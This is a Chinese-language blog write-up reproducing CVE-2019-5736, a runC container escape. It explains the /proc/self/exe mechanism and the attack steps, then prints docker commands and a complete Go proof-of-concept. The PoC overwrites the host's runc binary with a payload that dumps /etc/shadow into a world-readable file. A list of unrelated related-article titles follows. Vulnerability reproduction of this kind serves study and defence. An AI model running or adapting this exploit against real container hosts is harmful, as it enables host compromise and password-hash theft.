CVE-2019-5736:覆盖宿主机上的runC文件

背景

执行功能类似docker exec等是,底层实际上都是容器运行时在操作,如runC

相应的runc exec命令会被执行,最终效果是在容器内部执行用户执行的程序,就是在容器的各种命名空间内,受到各种限制(Cgroups)的情况下,启动一个进程。除此以外,与在宿主机上执行一个程序并无二致。

执行过程:

  • runC启动,加入容器的命名空间
  • 以自身(/proc/self/exe)为范本启动一个子进程
    • /proc/[PID]/exe:特殊的符号链接,又被称为magic links,指向进程自身对应的本地程序文件,如/proc/[ls-PID]/exe就指向/bin/ls

      • 打开这个文件时,在权限检查通过的情况下,内核将直接返回一个指向该文件的描述符,而非按照传统的打开方式做路径解析和文件查找。这样也就绕过了mnt命名空间及chroot机制对一个进程能够访问到的文件路径的限制
    • /proc/[PID]/fd:包含了进程打开的所有文件描述符
  • 通过exec系统调用执行用户指定的二进制程序

利用场景:

在runc exec加入到容器的命名空间中后,容器内进程以及通过内部/proc观察到他,此时如果打开/proc/[runc-PID]/exe并写入内容,将宿主机上的runc二进制程序覆盖掉。这样下次调用runc就会执行攻击者放置的指令

两个限制:

  1. 需要容器内部的root权限
  2. linux不允许修改正在运行的进程对应的本地二进制文件

攻击步骤:

  1. 将容器内的/bin/sh程序覆盖为#!/proc/self/exe
  2. 持续遍历容器内/proc目录,读取每一个/proc/[PID]/cmdline,对runc做字符匹配,直到找到runc进程号
  3. 以只读的方式打开/proc/[runc-PID]/exe,拿到文件描述符fd
  4. 持续以写方式打开只读fd,直到runc结束占用后,写方式打开成功,通过该fd向宿主机的/usr/bin/runc写入攻击载荷
  5. runc最后将执行用户通过docker exec执行的/bin/sh。因为第一步,实际将执行宿主机上的runc,而runc也以及在第四步被覆盖掉
go build main.go
docker run -itd --name cve-2019-5736 ubuntu
docker cp main cve-2019-5736:/poc
docker exec cve-2019-5736 /poc
//另开一个终端(这边注意看自己payload到底是/bin/sh还是/bin/bash)
docker exec -it cve-2019-5736 /bin/sh//随后查看/tmp/shadow
cat /tmp/shadow

poc:main.go

package main// Implementation of CVE-2019-5736
// Created with help from @singe, @_cablethief, and @feexd.
// This commit also helped a ton to understand the vuln
// https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d
import ("fmt""io/ioutil""os""strconv""strings"
)// This is the line of shell commands that will execute on the host
var payload = "#!/bin/bash \n cat /etc/shadow > /tmp/shadow && chmod 777 /tmp/shadow"func main() {// First we overwrite /bin/sh with the /proc/self/exe interpreter pathfd, err := os.Create("/bin/sh")if err != nil {fmt.Println(err)return}fmt.Fprintln(fd, "#!/proc/self/exe")err = fd.Close()if err != nil {fmt.Println(err)return}fmt.Println("[+] Overwritten /bin/sh successfully")// Loop through all processes to find one whose cmdline includes runcinit// This will be the process created by runcvar found intfor found == 0 {pids, err := ioutil.ReadDir("/proc")if err != nil {fmt.Println(err)return}for _, f := range pids {fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")fstring := string(fbytes)if strings.Contains(fstring, "runc") {fmt.Println("[+] Found the PID:", f.Name())found, err = strconv.Atoi(f.Name())if err != nil {fmt.Println(err)return}}}}// We will use the pid to get a file handle for runc on the host.var handleFd = -1for handleFd == -1 {// Note, you do not need to use the O_PATH flag for the exploit to work.handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)if int(handle.Fd()) > 0 {handleFd = int(handle.Fd())}}fmt.Println("[+] Successfully got the file handle")// Now that we have the file handle, lets write to the runc binary and overwrite it// It will maintain it's executable flagfor {writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)if int(writeHandle.Fd()) > 0 {fmt.Println("[+] Successfully got write handle", writeHandle)writeHandle.Write([]byte(payload))return}}
}

复现成功

参考文献:

云原生安全:攻防实践与体系构建

https://github.com/Frichetten/CVE-2019-5736-PoC

CVE-2019-5736复现相关推荐

  1. 2021年第一季度Sumap网络空间测绘CVE漏洞趋势安全分析报告

    前言 本文主要通过网络测绘角度收集各种资产协议的版本号信息,通过比对CVE漏洞影响范围中的版本号方式,进行安全风险趋势分析,无任何实际危害互联网行为.资产在携带版本中也会存在修复补丁后版本不变的情况. ...

  2. Notes Twelfth Day-渗透攻击-红队-命令与控制

    ** Notes Twelfth Day-渗透攻击-红队-打入内网(dayu) ** 作者:大余 时间:2020-09-28 请注意:对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透 ...

  3. 未发现数据源名称并且未指定默认驱动程序_看我如何发现NVIDIA GeForce Experience代码执行漏洞...

    0x01 前言大家好,我是来自Chengdu University of Technology的Siyuan Yi,本人是一名安全爱好者,平时喜欢搞搞逆向,玩玩CTF.不久前,我发现了我的第一个0da ...

  4. VMware vCenter Server Appliance Photon OS安全修补程序

    VMware vCenter Server Appliance Photon OS安全修补程序 上次更新时间 2019年12月19日 https://docs.vmware.com/en/VMware ...

  5. 工控系统的全球安全现状:全球漏洞实例分析

    工控系统的全球安全现状:全球漏洞实例分析 一.摘要 ​ 运营技术(OT).网络和设备,即工业环境中使用的所有组件,在设计时并未考虑到安全性.效率和易用性是最重要的设计特征,然而,由于工业的数字化,越来 ...

  6. 2023年4月Kali MSF命令模块最详细模块与利用解释整合

    前言 注意:前提概要<请遵守您本国家的相关法律法规,如有其他疑问或者任何事情与我本人无关> 开始 首先我们启动命令 msfconsole 我们应该都知道msf有三个大模块 use auxi ...

  7. 远程桌面漏洞poc_【漏洞复现】CVE 2019-0708 漏洞利用

    0x00 前言 2019年5月14日微软官方发布安全补丁,修复了Windows远程桌面服务的远程代码执行漏洞,该漏洞影响了某些旧版本的Windows系统.此漏洞是预身份验证且无需用户交互,这就意味着这 ...

  8. 【从零复现CVE漏洞】Tenda 路由器栈溢出复现(CVE-2018-18708)

    1 漏洞概述 从搜索引擎中搜索一下CVE会有很多提供CVE索引的网站,我们简要的看一下这个CVE的描述. An issue was discovered on Tenda AC7 V15.03.06. ...

  9. CV算法复现(分类算法6/6):MobileNet(2017年V1,2018年V2,2019年V3,谷歌)

    致谢:霹雳吧啦Wz:霹雳吧啦Wz的个人空间_哔哩哔哩_Bilibili 目录 致谢:霹雳吧啦Wz:霹雳吧啦Wz的个人空间_哔哩哔哩_Bilibili 1 本次要点 1.1 pytorch框架语法 2 ...

  10. CVE(2017-15715、2021-41773、2021-40438)漏洞复现

    仅用于学习参考,不要贪玩哦(*^▽^*) 目录 CVE-2017-15715 漏洞介绍 漏洞复现 CVE-2021-41773 漏洞介绍 漏洞复现 CVE-2021-40438 漏洞介绍 漏洞复现 一 ...

最新文章

  1. Open*** 配置参数详解
  2. Ubuntu 上 hi3531 交叉编译环境 arm-hisiv100nptl-linux 建设过程
  3. bartender2020中文版
  4. java线程主要状态及转换_Java线程状态转换及控制
  5. Arm v8 中断处理
  6. 功能强大的TCGA再分析平台
  7. PHP-FPM Fastcgi 未授权访问漏洞(端口9000)
  8. 棋盘覆盖-分治法(代码实现)
  9. scrapy异步写入mysql_scrapy之异步写入数据库
  10. 基于近邻法的分类器设计
  11. c语言设计遗传算法旅行商,用遗传算法解决旅行商问题的简单实现
  12. 模电、数电、电路面试题
  13. 如何升级到 Ubuntu 20.04
  14. Inception(盗梦空间)及代码实现
  15. Android 内外边距
  16. Ajax与JavaWeb分页
  17. 警告 1 warning C4996: 'scanf': This function or variable may be unsafe. Consider using scanf_s instead
  18. php 无限极分销,PHP实现无限极分类的两种方式
  19. ThreadLocal 面试夺命11连问
  20. 2019河南省第十二届ACM大学生程序设计竞赛参赛感

热门文章

  1. 关于extremeTable
  2. seleium 鼠标悬停事件
  3. 泛微协同OA农业电子商务解决方案
  4. 关于计算点到线段的距离
  5. vue 数组动态刷新失败
  6. HTML解析库Gumbo简单使用记录
  7. 三种动画方式 帧动画 属性动画 补间动画
  8. [分享]尝试赞美这残缺的世界
  9. EXCEL-VBA-- Range 对象
  10. Hive建表基本操作